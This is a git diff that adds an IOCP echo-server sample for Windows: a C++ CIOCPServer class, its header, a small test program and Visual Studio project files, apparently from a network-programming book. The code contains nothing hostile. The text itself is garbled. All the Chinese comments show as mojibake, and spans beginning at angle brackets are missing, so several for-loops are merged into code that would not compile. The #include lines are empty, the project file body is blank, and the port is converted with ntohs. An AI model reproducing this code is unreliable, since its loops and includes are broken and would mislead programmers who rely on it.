Ôö¼ÓÌ×½Ú×ÖÉϵÄÖصþI/O¼ÆÊý + ::EnterCriticalSection(&pContext->Lock); + pContext->nOutstandingSend ++; + ::LeaveCriticalSection(&pContext->Lock); + + return TRUE; +} + + +BOOL CIOCPServer::Start(int nPort, int nMaxConnections, + int nMaxFreeBuffers, int nMaxFreeContexts, int nInitialReads) +{ + // ¼ì²é·þÎñÊÇ·ñÒѾ­Æô¶¯ + if(m_bServerStarted) + return FALSE; + + // ±£´æÓû§²ÎÊý + m_nPort = nPort; + m_nMaxConnections = nMaxConnections; + m_nMaxFreeBuffers = nMaxFreeBuffers; + m_nMaxFreeContexts = nMaxFreeContexts; + m_nInitialReads = nInitialReads; + + // ³õʼ»¯×´Ì¬±äÁ¿ + m_bShutDown = FALSE; + m_bServerStarted = TRUE; + + + // ´´½¨¼àÌýÌ×½Ú×Ö£¬°ó¶¨µ½±¾µØ¶Ë¿Ú£¬½øÈë¼àÌýģʽ + m_sListen = ::WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); + SOCKADDR_IN si; + si.sin_family = AF_INET; + si.sin_port = ::ntohs(m_nPort); + si.sin_addr.S_un.S_addr = INADDR_ANY; + if(::bind(m_sListen, (sockaddr*)&si, sizeof(si)) == SOCKET_ERROR) + { + m_bServerStarted = FALSE; + return FALSE; + } + ::listen(m_sListen, 200); + + // ´´½¨Íê³É¶Ë¿Ú¶ÔÏó + m_hCompletion = ::CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0); + + // ¼ÓÔØÀ©Õ¹º¯ÊýAcceptEx + GUID GuidAcceptEx = WSAID_ACCEPTEX; + DWORD dwBytes; + ::WSAIoctl(m_sListen, + SIO_GET_EXTENSION_FUNCTION_POINTER, + &GuidAcceptEx, + sizeof(GuidAcceptEx), + &m_lpfnAcceptEx, + sizeof(m_lpfnAcceptEx), + &dwBytes, + NULL, + NULL); + + // ¼ÓÔØÀ©Õ¹º¯ÊýGetAcceptExSockaddrs + GUID GuidGetAcceptExSockaddrs = WSAID_GETACCEPTEXSOCKADDRS; + ::WSAIoctl(m_sListen, + SIO_GET_EXTENSION_FUNCTION_POINTER, + &GuidGetAcceptExSockaddrs, + sizeof(GuidGetAcceptExSockaddrs), + &m_lpfnGetAcceptExSockaddrs, + sizeof(m_lpfnGetAcceptExSockaddrs), + &dwBytes, + NULL, + NULL + ); + + + // ½«¼àÌýÌ×½Ú×Ö¹ØÁªµ½Íê³É¶Ë¿Ú£¬×¢Ò⣬ÕâÀïΪËü´«µÝµÄCompletionKeyΪ0 + ::CreateIoCompletionPort((HANDLE)m_sListen, m_hCompletion, (DWORD)0, 0); + + // ×¢²áFD_ACCEPTʼþ¡£ + // Èç¹ûͶµÝµÄAcceptEx I/O²»¹»£¬Ï̻߳á½ÓÊÕµ½FD_ACCEPTÍøÂçʼþ£¬ËµÃ÷Ó¦¸ÃͶµÝ¸ü¶àµÄAcceptEx I/O + WSAEventSelect(m_sListen, m_hAcceptEvent, FD_ACCEPT); + + // ´´½¨¼àÌýÏß³Ì + m_hListenThread = ::CreateThread(NULL, 0, _ListenThreadProc, this, 0, NULL); + + return TRUE; +} + +void CIOCPServer::Shutdown() +{ + if(!m_bServerStarted) + return; + + // ֪ͨ¼àÌýỊ̈߳¬ÂíÉÏÍ£Ö¹·þÎñ + m_bShutDown = TRUE; + ::SetEvent(m_hAcceptEvent); + // µÈ´ý¼àÌýÏß³ÌÍ˳ö + ::WaitForSingleObject(m_hListenThread, INFINITE); + ::CloseHandle(m_hListenThread); + m_hListenThread = NULL; + + m_bServerStarted = FALSE; +} + +DWORD WINAPI CIOCPServer::_ListenThreadProc(LPVOID lpParam) +{ + CIOCPServer *pThis = (CIOCPServer*)lpParam; + + // ÏÈÔÚ¼àÌýÌ×½Ú×ÖÉÏͶµÝ¼¸¸öAccept I/O + CIOCPBuffer *pBuffer; + int i=0; + for(i; im_nInitialAccepts; i++) + { + pBuffer = pThis->AllocateBuffer(BUFFER_SIZE); + if(pBuffer == NULL) + return -1; + pThis->InsertPendingAccept(pBuffer); + pThis->PostAccept(pBuffer); + } + + // ¹¹½¨Ê¼þ¶ÔÏóÊý×飬ÒÔ±ãÔÚÉÏÃæµ÷ÓÃWSAWaitForMultipleEventsº¯Êý + HANDLE hWaitEvents[2 + MAX_THREAD]; + int nEventCount = 0; + hWaitEvents[nEventCount ++] = pThis->m_hAcceptEvent; + hWaitEvents[nEventCount ++] = pThis->m_hRepostEvent; + + // ´´½¨Ö¸¶¨ÊýÁ¿µÄ¹¤×÷Ïß³ÌÔÚÍê³É¶Ë¿ÚÉÏ´¦ÀíI/O + for(i=0; im_bShutDown || nIndex == WSA_WAIT_FAILED) + { + // ¹Ø±ÕËùÓÐÁ¬½Ó + pThis->CloseAllConnections(); + ::Sleep(0); // ¸øI/O¹¤×÷Ïß³ÌÒ»¸öÖ´ÐеĻú»á + // ¹Ø±Õ¼àÌýÌ×½Ú×Ö + ::closesocket(pThis->m_sListen); + pThis->m_sListen = INVALID_SOCKET; + ::Sleep(0); // ¸øI/O¹¤×÷Ïß³ÌÒ»¸öÖ´ÐеĻú»á + + // ֪ͨËùÓÐI/O´¦ÀíÏß³ÌÍ˳ö + for(int i=2; im_hCompletion, -1, 0, NULL); + } + + // µÈ´ýI/O´¦ÀíÏß³ÌÍ˳ö + ::WaitForMultipleObjects(MAX_THREAD, &hWaitEvents[2], TRUE, 5*1000); + + for(i=2; im_hCompletion); + + pThis->FreeBuffers(); + pThis->FreeContexts(); + ::ExitThread(0); + } + + // 1£©¶¨Ê±¼ì²éËùÓÐδ·µ»ØµÄAcceptEx I/OµÄÁ¬½Ó½¨Á¢Á˶೤ʱ¼ä + if(nIndex == WSA_WAIT_TIMEOUT) + { + pBuffer = pThis->m_pPendingAccepts; + while(pBuffer != NULL) + { + int nSeconds; + int nLen = sizeof(nSeconds); + // È¡µÃÁ¬½Ó½¨Á¢µÄʱ¼ä + ::getsockopt(pBuffer->sClient, + SOL_SOCKET, SO_CONNECT_TIME, (char *)&nSeconds, &nLen); + // Èç¹û³¬¹ý2·ÖÖÓ¿Í»§»¹²»·¢ËͳõʼÊý¾Ý£¬¾ÍÈÃÕâ¸ö¿Í»§go away + if(nSeconds != -1 && nSeconds > 2*60) + { + closesocket(pBuffer->sClient); + pBuffer->sClient = INVALID_SOCKET; + } + + pBuffer = pBuffer->pNext; + } + } + else + { + nIndex = nIndex - WAIT_OBJECT_0; + WSANETWORKEVENTS ne; + int nLimit=0; + if(nIndex == 0) // 2£©m_hAcceptEventʼþ¶ÔÏóÊÜÐÅ£¬ËµÃ÷ͶµÝµÄAcceptÇëÇó²»¹»£¬ÐèÒªÔö¼Ó + { + ::WSAEnumNetworkEvents(pThis->m_sListen, hWaitEvents[nIndex], &ne); + if(ne.lNetworkEvents & FD_ACCEPT) + { + nLimit = 50; // Ôö¼ÓµÄ¸öÊý£¬ÕâÀïÉèΪ50¸ö + } + } + else if(nIndex == 1) // 3£©m_hRepostEventʼþ¶ÔÏóÊÜÐÅ£¬ËµÃ÷´¦ÀíI/OµÄÏ߳̽ÓÊܵ½ÐµĿͻ§ + { + nLimit = InterlockedExchange(&pThis->m_nRepostCount, 0); + } + else if(nIndex > 1) // I/O·þÎñÏß³ÌÍ˳ö£¬ËµÃ÷ÓдíÎó·¢Éú£¬¹Ø±Õ·þÎñÆ÷ + { + pThis->m_bShutDown = TRUE; + continue; + } + + // ͶµÝnLimit¸öAcceptEx I/OÇëÇó + int i = 0; + while(i++ < nLimit && pThis->m_nPendingAcceptCount < pThis->m_nMaxAccepts) + { + pBuffer = pThis->AllocateBuffer(BUFFER_SIZE); + if(pBuffer != NULL) + { + pThis->InsertPendingAccept(pBuffer); + pThis->PostAccept(pBuffer); + } + } + } + } + return 0; +} + +DWORD WINAPI CIOCPServer::_WorkerThreadProc(LPVOID lpParam) +{ +#ifdef _DEBUG + ::OutputDebugString(" WorkerThread Æô¶¯... \n"); +#endif // _DEBUG + + CIOCPServer *pThis = (CIOCPServer*)lpParam; + + CIOCPBuffer *pBuffer; + DWORD dwKey; + DWORD dwTrans; + LPOVERLAPPED lpol; + while(TRUE) + { + // ÔÚ¹ØÁªµ½´ËÍê³É¶Ë¿ÚµÄËùÓÐÌ×½Ú×ÖÉϵȴýI/OÍê³É + BOOL bOK = ::GetQueuedCompletionStatus(pThis->m_hCompletion, + &dwTrans, (LPDWORD)&dwKey, (LPOVERLAPPED*)&lpol, WSA_INFINITE); + + if(dwTrans == -1) // Óû§Í¨ÖªÍ˳ö + { +#ifdef _DEBUG + ::OutputDebugString(" WorkerThread Í˳ö \n"); +#endif // _DEBUG + ::ExitThread(0); + } + + pBuffer = CONTAINING_RECORD(lpol, CIOCPBuffer, ol); + int nError = NO_ERROR; + if(!bOK) // ÔÚ´ËÌ×½Ú×ÖÉÏÓдíÎó·¢Éú + { + SOCKET s; + if(pBuffer->nOperation == OP_ACCEPT) + { + s = pThis->m_sListen; + } + else + { + if(dwKey == 0) + break; + s = ((CIOCPContext*)dwKey)->s; + } + DWORD dwFlags = 0; + if(!::WSAGetOverlappedResult(s, &pBuffer->ol, &dwTrans, FALSE, &dwFlags)) + { + nError = ::WSAGetLastError(); + } + } + pThis->HandleIO(dwKey, pBuffer, dwTrans, nError); + } + +#ifdef _DEBUG + ::OutputDebugString(" WorkerThread Í˳ö \n"); +#endif // _DEBUG + return 0; +} + + +void CIOCPServer::HandleIO(DWORD dwKey, CIOCPBuffer *pBuffer, DWORD dwTrans, int nError) +{ + CIOCPContext *pContext = (CIOCPContext *)dwKey; + +#ifdef _DEBUG + ::OutputDebugString(" HandleIO... \n"); +#endif // _DEBUG + + // 1£©Ê×ÏȼõÉÙÌ×½Ú×ÖÉϵÄδ¾öI/O¼ÆÊý + if(pContext != NULL) + { + ::EnterCriticalSection(&pContext->Lock); + + if(pBuffer->nOperation == OP_READ) + pContext->nOutstandingRecv --; + else if(pBuffer->nOperation == OP_WRITE) + pContext->nOutstandingSend --; + + ::LeaveCriticalSection(&pContext->Lock); + + // 2£©¼ì²éÌ×½Ú×ÖÊÇ·ñÒѾ­±»ÎÒÃÇ¹Ø±Õ + if(pContext->bClosing) + { +#ifdef _DEBUG + ::OutputDebugString(" ¼ì²éµ½Ì×½Ú×ÖÒѾ­±»ÎÒÃÇ¹Ø±Õ \n"); +#endif // _DEBUG + if(pContext->nOutstandingRecv == 0 && pContext->nOutstandingSend == 0) + { + ReleaseContext(pContext); + } + // ÊÍ·ÅÒѹرÕÌ×½Ú×ÖµÄδ¾öI/O + ReleaseBuffer(pBuffer); + return; + } + } + else + { + RemovePendingAccept(pBuffer); + } + + // 3£©¼ì²éÌ×½Ú×ÖÉÏ·¢ÉúµÄ´íÎó£¬Èç¹ûÓеĻ°£¬Í¨ÖªÓû§£¬È»ºó¹Ø±ÕÌ×½Ú×Ö + if(nError != NO_ERROR) + { + if(pBuffer->nOperation != OP_ACCEPT) + { + OnConnectionError(pContext, pBuffer, nError); + CloseAConnection(pContext); + if(pContext->nOutstandingRecv == 0 && pContext->nOutstandingSend == 0) + { + ReleaseContext(pContext); + } +#ifdef _DEBUG + ::OutputDebugString(" ¼ì²éµ½¿Í»§Ì×½Ú×ÖÉÏ·¢Éú´íÎó \n"); +#endif // _DEBUG + } + else // ÔÚ¼àÌýÌ×½Ú×ÖÉÏ·¢Éú´íÎó£¬Ò²¾ÍÊǼàÌýÌ×½Ú×Ö´¦ÀíµÄ¿Í»§³ö´íÁË + { + // ¿Í»§¶Ë³ö´í£¬ÊÍ·ÅI/O»º³åÇø + if(pBuffer->sClient != INVALID_SOCKET) + { + ::closesocket(pBuffer->sClient); + pBuffer->sClient = INVALID_SOCKET; + } +#ifdef _DEBUG + ::OutputDebugString(" ¼ì²éµ½¼àÌýÌ×½Ú×ÖÉÏ·¢Éú´íÎó \n"); +#endif // _DEBUG + } + + ReleaseBuffer(pBuffer); + return; + } + + + // ¿ªÊ¼´¦Àí + if(pBuffer->nOperation == OP_ACCEPT) + { + if(dwTrans == 0) + { +#ifdef _DEBUG + ::OutputDebugString(" ¼àÌýÌ×½Ú×ÖÉÏ¿Í»§¶Ë¹Ø±Õ \n"); +#endif // _DEBUG + + if(pBuffer->sClient != INVALID_SOCKET) + { + ::closesocket(pBuffer->sClient); + pBuffer->sClient = INVALID_SOCKET; + } + } + else + { + // ΪнÓÊܵÄÁ¬½ÓÉêÇë¿Í»§ÉÏÏÂÎĶÔÏó + CIOCPContext *pClient = AllocateContext(pBuffer->sClient); + if(pClient != NULL) + { + if(AddAConnection(pClient)) + { + // È¡µÃ¿Í»§µØÖ· + int nLocalLen, nRmoteLen; + LPSOCKADDR pLocalAddr, pRemoteAddr; + m_lpfnGetAcceptExSockaddrs( + pBuffer->buff, + pBuffer->nLen - ((sizeof(sockaddr_in) + 16) * 2), + sizeof(sockaddr_in) + 16, + sizeof(sockaddr_in) + 16, + (SOCKADDR **)&pLocalAddr, + &nLocalLen, + (SOCKADDR **)&pRemoteAddr, + &nRmoteLen); + memcpy(&pClient->addrLocal, pLocalAddr, nLocalLen); + memcpy(&pClient->addrRemote, pRemoteAddr, nRmoteLen); + + // ¹ØÁªÐÂÁ¬½Óµ½Íê³É¶Ë¿Ú¶ÔÏó + ::CreateIoCompletionPort((HANDLE)pClient->s, m_hCompletion, (DWORD)pClient, 0); + + // ֪ͨÓû§ + pBuffer->nLen = dwTrans; + OnConnectionEstablished(pClient, pBuffer); + + // ÏòÐÂÁ¬½ÓͶµÝ¼¸¸öReadÇëÇó£¬ÕâЩ¿Õ¼äÔÚÌ×½Ú×ֹرջò³ö´íʱÊÍ·Å + for(int i=0; i<5; i++) + { + CIOCPBuffer *p = AllocateBuffer(BUFFER_SIZE); + if(p != NULL) + { + if(!PostRecv(pClient, p)) + { + CloseAConnection(pClient); + break; + } + } + } + } + else // Á¬½ÓÊýÁ¿ÒÑÂú£¬¹Ø±ÕÁ¬½Ó + { + CloseAConnection(pClient); + ReleaseContext(pClient); + } + } + else + { + // ×ÊÔ´²»×㣬¹Ø±ÕÓë¿Í»§µÄÁ¬½Ó¼´¿É + ::closesocket(pBuffer->sClient); + pBuffer->sClient = INVALID_SOCKET; + } + } + + // AcceptÇëÇóÍê³É£¬ÊÍ·ÅI/O»º³åÇø + ReleaseBuffer(pBuffer); + + // ֪ͨ¼àÌýÏ̼߳ÌÐøÔÙͶµÝÒ»¸öAcceptÇëÇó + ::InterlockedIncrement(&m_nRepostCount); + ::SetEvent(m_hRepostEvent); + } + else if(pBuffer->nOperation == OP_READ) + { + if(dwTrans == 0) // ¶Ô·½¹Ø±ÕÌ×½Ú×Ö + { + // ÏÈ֪ͨÓû§ + pBuffer->nLen = 0; + OnConnectionClosing(pContext, pBuffer); + // ÔٹرÕÁ¬½Ó + CloseAConnection(pContext); + // ÊÍ·Å¿Í»§ÉÏÏÂÎĺͻº³åÇø¶ÔÏó + if(pContext->nOutstandingRecv == 0 && pContext->nOutstandingSend == 0) + { + ReleaseContext(pContext); + } + ReleaseBuffer(pBuffer); + } + else + { + pBuffer->nLen = dwTrans; + // °´ÕÕI/OͶµÝµÄ˳Ðò¶ÁÈ¡½ÓÊÕµ½µÄÊý¾Ý + CIOCPBuffer *p = GetNextReadBuffer(pContext, pBuffer); + while(p != NULL) + { + // ֪ͨÓû§ + OnReadCompleted(pContext, p); + // Ôö¼ÓÒª¶ÁµÄÐòÁкŵÄÖµ + ::InterlockedIncrement((LONG*)&pContext->nCurrentReadSequence); + // ÊÍ·ÅÕâ¸öÒÑÍê³ÉµÄI/O + ReleaseBuffer(p); + p = GetNextReadBuffer(pContext, NULL); + } + + // ¼ÌÐøͶµÝÒ»¸öеĽÓÊÕÇëÇó + pBuffer = AllocateBuffer(BUFFER_SIZE); + if(pBuffer == NULL || !PostRecv(pContext, pBuffer)) + { + CloseAConnection(pContext); + } + } + } + else if(pBuffer->nOperation == OP_WRITE) + { + + if(dwTrans == 0) // ¶Ô·½¹Ø±ÕÌ×½Ú×Ö + { + // ÏÈ֪ͨÓû§ + pBuffer->nLen = 0; + OnConnectionClosing(pContext, pBuffer); + + // ÔٹرÕÁ¬½Ó + CloseAConnection(pContext); + + // ÊÍ·Å¿Í»§ÉÏÏÂÎĺͻº³åÇø¶ÔÏó + if(pContext->nOutstandingRecv == 0 && pContext->nOutstandingSend == 0) + { + ReleaseContext(pContext); + } + ReleaseBuffer(pBuffer); + } + else + { + // д²Ù×÷Íê³É£¬Í¨ÖªÓû§ + pBuffer->nLen = dwTrans; + OnWriteCompleted(pContext, pBuffer); + // ÊÍ·ÅSendTextº¯ÊýÉêÇëµÄ»º³åÇø + ReleaseBuffer(pBuffer); + } + } +} + + +BOOL CIOCPServer::SendText(CIOCPContext *pContext, char *pszText, int nLen) +{ + CIOCPBuffer *pBuffer = AllocateBuffer(nLen); + if(pBuffer != NULL) + { + memcpy(pBuffer->buff, pszText, nLen); + return PostSend(pContext, pBuffer); + } + return FALSE; +} + + +void CIOCPServer::OnConnectionEstablished(CIOCPContext *pContext, CIOCPBuffer *pBuffer) +{ +} + +void CIOCPServer::OnConnectionClosing(CIOCPContext *pContext, CIOCPBuffer *pBuffer) +{ +} + + +void CIOCPServer::OnReadCompleted(CIOCPContext *pContext, CIOCPBuffer *pBuffer) +{ +} + +void CIOCPServer::OnWriteCompleted(CIOCPContext *pContext, CIOCPBuffer *pBuffer) +{ +} + +void CIOCPServer::OnConnectionError(CIOCPContext *pContext, CIOCPBuffer *pBuffer, int nError) +{ +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/IOCP.H" "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/IOCP.H" new file mode 100644 index 0000000..76e4c6b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/IOCP.H" @@ -0,0 +1,177 @@ +//////////////////////////////////////// +// IOCP.hÎļþ + +#ifndef __IOCP_H__ +#define __IOCP_H__ + +#include +#include +#include + +#define BUFFER_SIZE 1024*4 // I/OÇëÇóµÄ»º³åÇø´óС +#define MAX_THREAD 2 // I/O·þÎñÏ̵߳ÄÊýÁ¿ + + +// ÕâÊÇper-I/OÊý¾Ý¡£Ëü°üº¬ÁËÔÚÌ×½Ú×ÖÉÏ´¦ÀíI/O²Ù×÷µÄ±ØÒªÐÅÏ¢ +struct CIOCPBuffer +{ + WSAOVERLAPPED ol; + + SOCKET sClient; // AcceptEx½ÓÊյĿͻ§·½Ì×½Ú×Ö + + char *buff; // I/O²Ù×÷ʹÓõĻº³åÇø + int nLen; // buff»º³åÇø£¨Ê¹Óõģ©´óС + + ULONG nSequenceNumber; // ´ËI/OµÄÐòÁкŠ+ + int nOperation; // ²Ù×÷ÀàÐÍ +#define OP_ACCEPT 1 +#define OP_WRITE 2 +#define OP_READ 3 + + CIOCPBuffer *pNext; +}; + +// ÕâÊÇper-HandleÊý¾Ý¡£Ëü°üº¬ÁËÒ»¸öÌ×½Ú×ÖµÄÐÅÏ¢ +struct CIOCPContext +{ + SOCKET s; // Ì×½Ú×Ö¾ä±ú + + SOCKADDR_IN addrLocal; // Á¬½ÓµÄ±¾µØµØÖ· + SOCKADDR_IN addrRemote; // Á¬½ÓµÄÔ¶³ÌµØÖ· + + BOOL bClosing; // Ì×½Ú×ÖÊÇ·ñ¹Ø±Õ + + int nOutstandingRecv; // ´ËÌ×½Ú×ÖÉÏÅ׳öµÄÖصþ²Ù×÷µÄÊýÁ¿ + int nOutstandingSend; + + + ULONG nReadSequence; // °²ÅŸø½ÓÊÕµÄÏÂÒ»¸öÐòÁкŠ+ ULONG nCurrentReadSequence; // µ±Ç°Òª¶ÁµÄÐòÁкŠ+ CIOCPBuffer *pOutOfOrderReads; // ¼Ç¼ûÓа´Ë³ÐòÍê³ÉµÄ¶ÁI/O + + CRITICAL_SECTION Lock; // ±£»¤Õâ¸ö½á¹¹ + + CIOCPContext *pNext; +}; + + +class CIOCPServer // ´¦ÀíÏß³Ì +{ +public: + CIOCPServer(); + ~CIOCPServer(); + + // ¿ªÊ¼·þÎñ + BOOL Start(int nPort = 4567, int nMaxConnections = 2000, + int nMaxFreeBuffers = 200, int nMaxFreeContexts = 100, int nInitialReads = 4); + // Í£Ö¹·þÎñ + void Shutdown(); + + // ¹Ø±ÕÒ»¸öÁ¬½ÓºÍ¹Ø±ÕËùÓÐÁ¬½Ó + void CloseAConnection(CIOCPContext *pContext); + void CloseAllConnections(); + + // È¡µÃµ±Ç°µÄÁ¬½ÓÊýÁ¿ + ULONG GetCurrentConnection() { return m_nCurrentConnection; } + + // ÏòÖ¸¶¨¿Í»§·¢ËÍÎı¾ + BOOL SendText(CIOCPContext *pContext, char *pszText, int nLen); + +protected: + + // ÉêÇëºÍÊÍ·Å»º³åÇø¶ÔÏó + CIOCPBuffer *AllocateBuffer(int nLen); + void ReleaseBuffer(CIOCPBuffer *pBuffer); + + // ÉêÇëºÍÊÍ·ÅÌ×½Ú×ÖÉÏÏÂÎÄ + CIOCPContext *AllocateContext(SOCKET s); + void ReleaseContext(CIOCPContext *pContext); + + // ÊÍ·Å¿ÕÏлº³åÇø¶ÔÏóÁбíºÍ¿ÕÏÐÉÏÏÂÎĶÔÏóÁбí + void FreeBuffers(); + void FreeContexts(); + + // ÏòÁ¬½ÓÁбíÖÐÌí¼ÓÒ»¸öÁ¬½Ó + BOOL AddAConnection(CIOCPContext *pContext); + + // ²åÈëºÍÒƳýδ¾öµÄ½ÓÊÜÇëÇó + BOOL InsertPendingAccept(CIOCPBuffer *pBuffer); + BOOL RemovePendingAccept(CIOCPBuffer *pBuffer); + + // È¡µÃÏÂÒ»¸öÒª¶ÁÈ¡µÄ + CIOCPBuffer *GetNextReadBuffer(CIOCPContext *pContext, CIOCPBuffer *pBuffer); + + + // ͶµÝ½ÓÊÜI/O¡¢·¢ËÍI/O¡¢½ÓÊÕI/O + BOOL PostAccept(CIOCPBuffer *pBuffer); + BOOL PostSend(CIOCPContext *pContext, CIOCPBuffer *pBuffer); + BOOL PostRecv(CIOCPContext *pContext, CIOCPBuffer *pBuffer); + + void HandleIO(DWORD dwKey, CIOCPBuffer *pBuffer, DWORD dwTrans, int nError); + + + // ʼþ֪ͨº¯Êý + // ½¨Á¢ÁËÒ»¸öеÄÁ¬½Ó + virtual void OnConnectionEstablished(CIOCPContext *pContext, CIOCPBuffer *pBuffer); + // Ò»¸öÁ¬½Ó¹Ø±Õ + virtual void OnConnectionClosing(CIOCPContext *pContext, CIOCPBuffer *pBuffer); + // ÔÚÒ»¸öÁ¬½ÓÉÏ·¢ÉúÁË´íÎó + virtual void OnConnectionError(CIOCPContext *pContext, CIOCPBuffer *pBuffer, int nError); + // Ò»¸öÁ¬½ÓÉϵĶÁ²Ù×÷Íê³É + virtual void OnReadCompleted(CIOCPContext *pContext, CIOCPBuffer *pBuffer); + // Ò»¸öÁ¬½ÓÉϵÄд²Ù×÷Íê³É + virtual void OnWriteCompleted(CIOCPContext *pContext, CIOCPBuffer *pBuffer); + +protected: + + // ¼Ç¼¿ÕÏнṹÐÅÏ¢ + CIOCPBuffer *m_pFreeBufferList; + CIOCPContext *m_pFreeContextList; + int m_nFreeBufferCount; + int m_nFreeContextCount; + CRITICAL_SECTION m_FreeBufferListLock; + CRITICAL_SECTION m_FreeContextListLock; + + // ¼Ç¼Å׳öµÄAcceptÇëÇó + CIOCPBuffer *m_pPendingAccepts; // Å׳öÇëÇóÁÐ±í¡£ + long m_nPendingAcceptCount; + CRITICAL_SECTION m_PendingAcceptsLock; + + // ¼Ç¼Á¬½ÓÁбí + CIOCPContext *m_pConnectionList; + int m_nCurrentConnection; + CRITICAL_SECTION m_ConnectionListLock; + + // ÓÃÓÚͶµÝAcceptÇëÇó + HANDLE m_hAcceptEvent; + HANDLE m_hRepostEvent; + LONG m_nRepostCount; + + int m_nPort; // ·þÎñÆ÷¼àÌýµÄ¶Ë¿Ú + + int m_nInitialAccepts; + int m_nInitialReads; + int m_nMaxAccepts; + int m_nMaxSends; + int m_nMaxFreeBuffers; + int m_nMaxFreeContexts; + int m_nMaxConnections; + + HANDLE m_hListenThread; // ¼àÌýÏß³Ì + HANDLE m_hCompletion; // Íê³É¶Ë¿Ú¾ä±ú + SOCKET m_sListen; // ¼àÌýÌ×½Ú×Ö¾ä±ú + LPFN_ACCEPTEX m_lpfnAcceptEx; // AcceptExº¯ÊýµØÖ· + LPFN_GETACCEPTEXSOCKADDRS m_lpfnGetAcceptExSockaddrs; // GetAcceptExSockaddrsº¯ÊýµØÖ· + + BOOL m_bShutDown; // ÓÃÓÚ֪ͨ¼àÌýÏß³ÌÍ˳ö + BOOL m_bServerStarted; // ¼Ç¼·þÎñÊÇ·ñÆô¶¯ + + +private: // Ï̺߳¯Êý + static DWORD WINAPI _ListenThreadProc(LPVOID lpParam); + static DWORD WINAPI _WorkerThreadProc(LPVOID lpParam); +}; + + +#endif // __IOCP_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/_desktop.ini" "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpserver.cpp" "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpserver.cpp" new file mode 100644 index 0000000..cfaf5c5 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpserver.cpp" @@ -0,0 +1,71 @@ +//////////////////////////////////////////////// +// iocpserver.cppÎļþ + + +// CIOCPServerÀàµÄ²âÊÔ³ÌÐò + +#include "iocp.h" +#include +#include + +class CMyServer : public CIOCPServer +{ +public: + + void OnConnectionEstablished(CIOCPContext *pContext, CIOCPBuffer *pBuffer) + { + printf(" ½ÓÊÕµ½Ò»¸öеÄÁ¬½Ó£¨%d£©£º %s \n", + GetCurrentConnection(), ::inet_ntoa(pContext->addrRemote.sin_addr)); + + SendText(pContext, pBuffer->buff, pBuffer->nLen); + } + + void OnConnectionClosing(CIOCPContext *pContext, CIOCPBuffer *pBuffer) + { + printf(" Ò»¸öÁ¬½Ó¹Ø±Õ£¡ \n" ); + } + + void OnConnectionError(CIOCPContext *pContext, CIOCPBuffer *pBuffer, int nError) + { + printf(" Ò»¸öÁ¬½Ó·¢Éú´íÎó£º %d \n ", nError); + } + + void OnReadCompleted(CIOCPContext *pContext, CIOCPBuffer *pBuffer) + { + SendText(pContext, pBuffer->buff, pBuffer->nLen); + } + + void OnWriteCompleted(CIOCPContext *pContext, CIOCPBuffer *pBuffer) + { + printf(" Êý¾Ý·¢Ëͳɹ¦£¡\n "); + } +}; + +void main() +{ + CMyServer *pServer = new CMyServer; + + // ¿ªÆô·þÎñ + if(pServer->Start()) + { + printf(" ·þÎñÆ÷¿ªÆô³É¹¦... \n"); + } + else + { + printf(" ·þÎñÆ÷¿ªÆôʧ°Ü£¡\n"); + return; + } + + // ´´½¨Ê¼þ¶ÔÏó£¬ÈÃServerShutdown³ÌÐòÄܹ»¹Ø±Õ×Ô¼º + HANDLE hEvent = ::CreateEvent(NULL, FALSE, FALSE, "ShutdownEvent"); + ::WaitForSingleObject(hEvent, INFINITE); + ::CloseHandle(hEvent); + + // ¹Ø±Õ·þÎñ + pServer->Shutdown(); + delete pServer; + + printf(" ·þÎñÆ÷¹Ø±Õ \n "); + +} + diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.sln" "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.sln" new file mode 100644 index 0000000..e0727a9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "iocpsys", "iocpsys.vcproj", "{D001A74F-C000-40AE-B2E6-7A90A55E0E99}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D001A74F-C000-40AE-B2E6-7A90A55E0E99}.Debug|Win32.ActiveCfg = Debug|Win32 + {D001A74F-C000-40AE-B2E6-7A90A55E0E99}.Debug|Win32.Build.0 = Debug|Win32 + {D001A74F-C000-40AE-B2E6-7A90A55E0E99}.Release|Win32.ActiveCfg = Release|Win32 + {D001A74F-C000-40AE-B2E6-7A90A55E0E99}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.suo" "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.suo" new file mode 100644 index 0000000..2878d6a Binary files /dev/null and "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.suo" differ diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.vcproj" "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.vcproj" new file mode 100644 index 0000000..9d76da5 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/iocpsys/iocpsys.vcproj" @@ -0,0 +1,261 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 